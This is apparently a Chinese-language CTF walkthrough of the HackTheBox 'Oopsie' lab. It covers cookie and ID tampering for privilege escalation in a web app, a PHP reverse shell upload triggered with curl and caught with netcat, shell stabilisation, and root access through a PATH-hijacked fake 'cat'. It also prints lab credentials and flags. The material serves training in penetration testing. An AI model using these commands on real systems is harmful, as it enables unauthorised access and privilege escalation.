0x01 环境准备

Kali Linux 使用 openvpn 连接hackthebox提供的VPN

加入 Oopsie 机器

image.png

0x02 信息收集

已知靶机 IP 10.10.10.28,使用nmap扫描主机

nmap -sS -T4 -sV 10.10.10.28

image.png发现开放80端口和22端口,这说明是有web网站

image.png

但是这个CMS网上没有搜索到,可扫描一波目录看看有没有啥敏感信息。爆密码没爆出来,尝试SQL注入也没成功。看了下官方的 WriteUP 密码是上个靶机爆出来的密码。。。。

账号密码:admin/MEGACORP_4dm1n!!

成功登陆。但是权限比较低

image.png

点击 Account 可以查看我们的当前登录账户的信息

image.png

抓包发现地址有id,并且 cookie 里面带有编号和用户名,以此可尝试越权。

image.png

遍历 ID 即可(必须得生成1-100的 ID 导入,不能使用numbers模式)

image.png

命令:循环生成1-100

for i in `seq 1 100`; do echo $i >>2.txt;done;

遍历出 ID 为30的高权限账户

image.png

将包中的 ID、user、role 修改

image.png

image.png

放包后即可查看到 super admin 信息,同理在uploads也修改一波,上传点就出来了。

WX20210618-005159@2x.png

上传一个kali 自带的webshell反弹马(冰蝎马上了,但是连接不上,不知道为何),上传的时候也要修改一下 user 和 role

cp /usr/share/webshells/php/php-reverse-shell.php ~/桌面   #记得修改一下IP和端口

image.png

但是并没有返回上传的路径,此时可尝试目录遍历一波。

使用dirsearch

python3 dirsearch.py -u http://10.10.10.28 -e php

image.png

大致猜测到上传的文件在uploads。

首先监听端口

nc -lvvp 1234   # 监听
curl http://10.10.10.28/uploads/1.php #访问即可反弹

image.png成功!

后续在查看网站根目录下发现一个db.php,里面有数据库的账户和密码

image.png

但是由于没有开放3306端口,所以没办法连接数据库查看东西,但可尝试一下是否能登录这个用户。

提示这个交互shell不完整,无法使用su命令

image.png

使用python去获取一个完整的交互shell,但是报错。。。。

python -c 'import pty; pty.spawn("/bin/sh")'

image.png

看了下WriteUP

SHELL=/bin/bash script -q /dev/null         //见注解1
Ctrl-Z //见注解2
stty raw -echo //见注解3
fg //见注解4
reset //见注解5
xterm //见注解6

1、在环境变量下将shell设置为/bin/bash且参数为 -q 和 /dev/null 的情况下运行脚本。

    • -q 参数为静默运行,输出到 /dev/null(黑洞)里,如果不加script -q /dev/null不会新启一个bash,
    • shell=/bin/bash只是设置shell为bash,加了以后会给你挂起一个新的shell,并帮你记录所有内容。

2、将netcat暂挂至后台

3、将本地终端置于原始模式,以免干扰远程终端

4、将netcat返回到前台,注意:这里不会显示输入的命令

5、重置远程终端,经测试也可以不进行此操作

6、运行xterm

就是跟着上面命令一顿操作猛如虎。最后直接反弹回了一个正常的交互shell

image.png

成功登录到了robert用户

image.png

切换到rebert家目录时,发现有个user.txt文件

image.png

flag:f2c74ee8db7983851ab2a96a44eb7981

虽然成功提交flag。但是提示我flag并不完整。。

image.png

看来还是需要提权一波。

0x03 提权

使用id查看当前的用户所属信息时,发现一个不一般的东西

image.png有个1001,属于bugtracker组
如下命令是查看bugtracker组是否存在特殊访问权限

find / -type f -group bugtracker 2>/dev/null 
  • type f 为查找普通文档
  • group bugtracker 限定查找的组为bugtracker。
  • 2>/dev/null 将错误输出到黑洞(不显示)
ls -al /usr/bin/bugtracker                          
  • al 以长格式方式显示并且显示隐藏文件

image.png

文件权限,一般是由d xxx xxx xxx 组成,三组XXX 分别代表如下。

  • U:User
  • G:Group
  • O:Other

三个xxx分别如下:

  • r:read(读)
  • w:write(写)
  • x:execute (执行)

而上图中的bugtracker里面有个s说明是特殊用户组。s(setuid 特殊权限)

当运行/usr/bin/bugtracker 时,发现是根据 id 读取内容

image.png

id = 1001,无任何内容输出

id = 1 , 输出bug内容

使用 strings 可查看该文件是怎么运行的

image.png

发现有使用 cat 命令可查看 root 文件下的 reports 文件夹

1、bugtracker 调用系统中的 cat 命令输出了位于 /root/reports/ 目录下的 bug 报告,robert 用户本应无权访问 /root 目录,而bugtracker 设置了 setuid 后就拥有了 /root 目录的访问,就拥有了root 权限

2、 cat 命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻 cat 命令,可以考虑创建一个恶意的 cat命令,并修改当前用户环境变量,将权限提升为 root

export PATH=/tmp:$PATH              //将/tmp目录设置为环境变量
cd /tmp/ //切换到/tmp目录下
echo '/bin/sh' > cat //在此构造恶意的cat命令
chmod +x cat //赋予执行权限

当重新运行 bugtracker 时,我们调用其实是 /tmp 目录下的恶意 cat

命令。

image.png运行后会重新获取一个交互 shell ,属于 id 此时返回的是 root 权限。

由于 cat 命令被替换,所以无法使用 cat 命令查看文件内容。。

image.png

使用 more 即可

image.png

flag:af13b0bee69f8a877c3faf667f7beacf

image.png

成功。。

最后,在.config文件下发现了filezilla的账户和密码

image.png

<User>ftpuser</User>
<Pass>mc@F1l3ZilL4</Pass>

作为第三关的靶机渗透。

0x04 总结

1、登录处的密码竟然是第一关爆出来的密码是我没有想到的。。

2、越权的点其实不算难,但是根据里面的 user 编号替换算是第一次遇见,开拓了下思维。

3、获取 交互 shell 的点算是涨见识了,只是有点概念。

4、对于最后特殊权限第一次见,cat 提权方式也是第一次使用,后面还是要多多练习,拓宽眼界。

虽说的简单靶机,但是学到很多东西,后续多做,争取能尝试自己做一个靶机出来。

参考:

https://blog.csdn.net/m0_48066270/article/details/108641892

还有官方的WriteUP。